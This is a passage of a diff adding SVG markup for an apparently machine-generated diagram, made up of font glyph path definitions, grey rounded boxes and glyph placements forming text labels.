+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 0 2.84375 L 6.796875 2.84375 L 6.796875 4.171875 L 0 4.171875 Z M 0 2.84375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 7.828125 -14.234375 L 9.296875 -14.234375 L 9.296875 -4.703125 C 9.296875 -2.972656 8.957031 -1.722656 8.28125 -0.953125 C 7.613281 -0.191406 6.660156 0.1875 5.421875 0.1875 C 3.984375 0.1875 2.9375 -0.179688 2.28125 -0.921875 C 1.625 -1.671875 1.296875 -2.820312 1.296875 -4.375 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -5.15625 C 2.828125 -4.425781 2.875 -3.8125 2.96875 -3.3125 C 3.0625 -2.8125 3.21875 -2.40625 3.4375 -2.09375 C 3.65625 -1.78125 3.925781 -1.554688 4.25 -1.421875 C 4.570312 -1.285156 4.972656 -1.21875 5.453125 -1.21875 C 6.347656 -1.21875 6.96875 -1.53125 7.3125 -2.15625 C 7.65625 -2.78125 7.828125 -3.78125 7.828125 -5.15625 Z M 7.828125 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 8.359375 -11 C 8.359375 -10.644531 8.316406 -10.289062 8.234375 -9.9375 C 8.148438 -9.582031 8.019531 -9.25 7.84375 -8.9375 C 7.664062 -8.632812 7.445312 -8.359375 7.1875 -8.109375 C 6.925781 -7.867188 6.601562 -7.6875 6.21875 -7.5625 L 6.21875 -7.484375 C 6.539062 -7.410156 6.851562 -7.296875 7.15625 -7.140625 C 7.457031 -6.984375 7.722656 -6.765625 7.953125 -6.484375 C 8.179688 -6.210938 8.363281 -5.875 8.5 -5.46875 C 8.632812 -5.070312 8.703125 -4.597656 8.703125 -4.046875 C 8.703125 -3.316406 8.585938 -2.679688 8.359375 -2.140625 C 8.128906 -1.609375 7.8125 -1.171875 7.40625 -0.828125 C 7.007812 -0.492188 6.550781 -0.242188 6.03125 -0.078125 C 5.507812 0.078125 4.957031 0.15625 4.375 0.15625 C 4.175781 0.15625 3.953125 0.15625 3.703125 0.15625 C 3.453125 0.15625 3.1875 0.144531 2.90625 0.125 C 2.625 0.113281 2.34375 0.0859375 2.0625 0.046875 C 1.78125 0.015625 1.523438 -0.0351562 1.296875 -0.109375 L 1.296875 -14.109375 C 1.703125 -14.191406 2.179688 -14.257812 2.734375 -14.3125 C 3.285156 -14.363281 3.878906 -14.390625 4.515625 -14.390625 C 4.972656 -14.390625 5.429688 -14.34375 5.890625 -14.25 C 6.359375 -14.164062 6.773438 -14 7.140625 -13.75 C 7.503906 -13.507812 7.796875 -13.171875 8.015625 -12.734375 C 8.242188 -12.296875 8.359375 -11.71875 8.359375 -11 Z M 4.5 -1.234375 C 4.863281 -1.234375 5.195312 -1.289062 5.5 -1.40625 C 5.8125 -1.519531 6.085938 -1.691406 6.328125 -1.921875 C 6.566406 -2.160156 6.753906 -2.441406 6.890625 -2.765625 C 7.023438 -3.097656 7.09375 -3.488281 7.09375 -3.9375 C 7.09375 -4.5 7.007812 -4.953125 6.84375 -5.296875 C 6.675781 -5.640625 6.453125 -5.90625 6.171875 -6.09375 C 5.898438 -6.289062 5.59375 -6.421875 5.25 -6.484375 C 4.90625 -6.554688 4.550781 -6.59375 4.1875 -6.59375 L 2.828125 -6.59375 L 2.828125 -1.375 C 2.910156 -1.351562 3.015625 -1.332031 3.140625 -1.3125 C 3.265625 -1.300781 3.40625 -1.289062 3.5625 -1.28125 C 3.71875 -1.269531 3.878906 -1.257812 4.046875 -1.25 C 4.210938 -1.238281 4.363281 -1.234375 4.5 -1.234375 Z M 3.65625 -7.90625 C 3.84375 -7.90625 4.054688 -7.910156 4.296875 -7.921875 C 4.546875 -7.941406 4.753906 -7.960938 4.921875 -7.984375 C 5.421875 -8.191406 5.847656 -8.519531 6.203125 -8.96875 C 6.566406 -9.425781 6.75 -9.988281 6.75 -10.65625 C 6.75 -11.101562 6.6875 -11.476562 6.5625 -11.78125 C 6.445312 -12.082031 6.28125 -12.320312 6.0625 -12.5 C 5.851562 -12.675781 5.609375 -12.800781 5.328125 -12.875 C 5.046875 -12.945312 4.75 -12.984375 4.4375 -12.984375 C 4.082031 -12.984375 3.757812 -12.972656 3.46875 -12.953125 C 3.1875 -12.929688 2.972656 -12.910156 2.828125 -12.890625 L 2.828125 -7.90625 Z M 3.65625 -7.90625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-26">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-27">
+<path style="stroke:none;" d="M 1.609375 -14.234375 L 3.125 -14.234375 L 3.125 0 L 1.609375 0 Z M 1.609375 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-28">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-29">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface34189">
+<rect x="0" y="0" width="541" height="601" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15 -1 L 42 -1 L 42 29 L 15 29 Z M 15 -1 " transform="matrix(20,0,0,20,-299,21)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 321 382.601562 L 430 382.601562 L 430 406 L 321 406 Z M 321 382.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="321" y="401.008681"/>
+  <use xlink:href="#glyph0-1" x="324.888889" y="401.008681"/>
+  <use xlink:href="#glyph0-2" x="328.777778" y="401.008681"/>
+  <use xlink:href="#glyph0-3" x="336.555556" y="401.008681"/>
+  <use xlink:href="#glyph0-4" x="344.055556" y="401.008681"/>
+  <use xlink:href="#glyph0-5" x="352.111111" y="401.008681"/>
+  <use xlink:href="#glyph0-6" x="359.888889" y="401.008681"/>
+  <use xlink:href="#glyph0-7" x="364.888889" y="401.008681"/>
+  <use xlink:href="#glyph0-8" x="376.555556" y="401.008681"/>
+  <use xlink:href="#glyph0-9" x="383.777778" y="401.008681"/>
+  <use xlink:href="#glyph0-10" x="387.944444" y="401.008681"/>
+  <use xlink:href="#glyph0-11" x="391.833333" y="401.008681"/>
+  <use xlink:href="#glyph0-8" x="398.222222" y="401.008681"/>
+  <use xlink:href="#glyph0-12" x="405.444444" y="401.008681"/>
+  <use xlink:href="#glyph0-10" x="410.444444" y="401.008681"/>
+  <use xlink:href="#glyph0-5" x="414.333333" y="401.008681"/>
+  <use xlink:href="#glyph0-4" x="422.111111" y="401.008681"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 321 262.601562 L 414.75 262.601562 L 414.75 286 L 321 286 Z M 321 262.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="321" y="281.008681"/>
+  <use xlink:href="#glyph0-1" x="324.888889" y="281.008681"/>
+  <use xlink:href="#glyph0-4" x="328.777778" y="281.008681"/>
+  <use xlink:href="#glyph0-5" x="336.833333" y="281.008681"/>
+  <use xlink:href="#glyph0-6" x="344.611111" y="281.008681"/>
+  <use xlink:href="#glyph0-7" x="349.611111" y="281.008681"/>
+  <use xlink:href="#glyph0-8" x="361.277778" y="281.008681"/>
+  <use xlink:href="#glyph0-9" x="368.5" y="281.008681"/>
+  <use xlink:href="#glyph0-10" x="372.666667" y="281.008681"/>
+  <use xlink:href="#glyph0-11" x="376.555556" y="281.008681"/>
+  <use xlink:href="#glyph0-8" x="382.944444" y="281.008681"/>
+  <use xlink:href="#glyph0-12" x="390.166667" y="281.008681"/>
+  <use xlink:href="#glyph0-10" x="395.166667" y="281.008681"/>
+  <use xlink:href="#glyph0-5" x="399.055556" y="281.008681"/>
+  <use xlink:href="#glyph0-4" x="406.833333" y="281.008681"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.3 0 C 21.134375 0 21 0.134375 21 0.3 L 21 2.885352 C 21 3.050977 21.134375 3.185352 21.3 3.185352 L 28.7 3.185352 C 28.865625 3.185352 29 3.050977 29 2.885352 L 29 0.3 C 29 0.134375 28.865625 0 28.7 0 Z M 21.3 0 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="166.976562" y="60.853733"/>
+  <use xlink:href="#glyph1-2" x="177.809896" y="60.853733"/>
+  <use xlink:href="#glyph1-3" x="186.143229" y="60.853733"/>
+  <use xlink:href="#glyph1-4" x="197.809896" y="60.853733"/>
+  <use xlink:href="#glyph1-5" x="202.25434" y="60.853733"/>
+  <use xlink:href="#glyph1-6" x="207.25434" y="60.853733"/>
+  <use xlink:href="#glyph1-7" x="216.143229" y="60.853733"/>
+  <use xlink:href="#glyph1-8" x="221.698785" y="60.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.3 0 C 33.134375 0 33 0.134375 33 0.3 L 33 2.885352 C 33 3.050977 33.134375 3.185352 33.3 3.185352 L 40.7 3.185352 C 40.865625 3.185352 41 3.050977 41 2.885352 L 41 0.3 C 41 0.134375 40.865625 0 40.7 0 Z M 33.3 0 " transform="matrix(20,0,0,20,-299,21)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="375.589844" y="60.853733"/>
+  <use xlink:href="#glyph1-7" x="384.200955" y="60.853733"/>
+  <use xlink:href="#glyph1-2" x="389.75651" y="60.853733"/>
+  <use xlink:href="#glyph1-10" x="398.089844" y="60.853733"/>
+  <use xlink:href="#glyph1-6" x="406.978733" y="60.853733"/>
+  <use xlink:href="#glyph1-10" x="415.867622" y="60.853733"/>
+  <use xlink:href="#glyph1-11" x="424.75651" y="60.853733"/>
+  <use xlink:href="#glyph1-12" x="433.645399" y="60.853733"/>
+  <use xlink:href="#glyph1-13" x="438.367622" y="60.853733"/>
+  <use xlink:href="#glyph1-14" x="446.423177" y="60.853733"/>
+  <use xlink:href="#glyph1-2" x="451.978733" y="60.853733"/>
+  <use xlink:href="#glyph1-15" x="460.312066" y="60.853733"/>
+  <use xlink:href="#glyph1-4" x="469.200955" y="60.853733"/>
+  <use xlink:href="#glyph1-5" x="473.645399" y="60.853733"/>
+  <use xlink:href="#glyph1-6" x="478.645399" y="60.853733"/>
+  <use xlink:href="#glyph1-7" x="487.534288" y="60.853733"/>
+  <use xlink:href="#glyph1-8" x="493.089844" y="60.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 27.3 25 C 27.134375 25 27 25.134375 27 25.3 L 27 27.885352 C 27 28.050977 27.134375 28.185352 27.3 28.185352 L 34.7 28.185352 C 34.865625 28.185352 35 28.050977 35 27.885352 L 35 25.3 C 35 25.134375 34.865625 25 34.7 25 Z M 27.3 25 " transform="matrix(20,0,0,20,-299,21)"/>
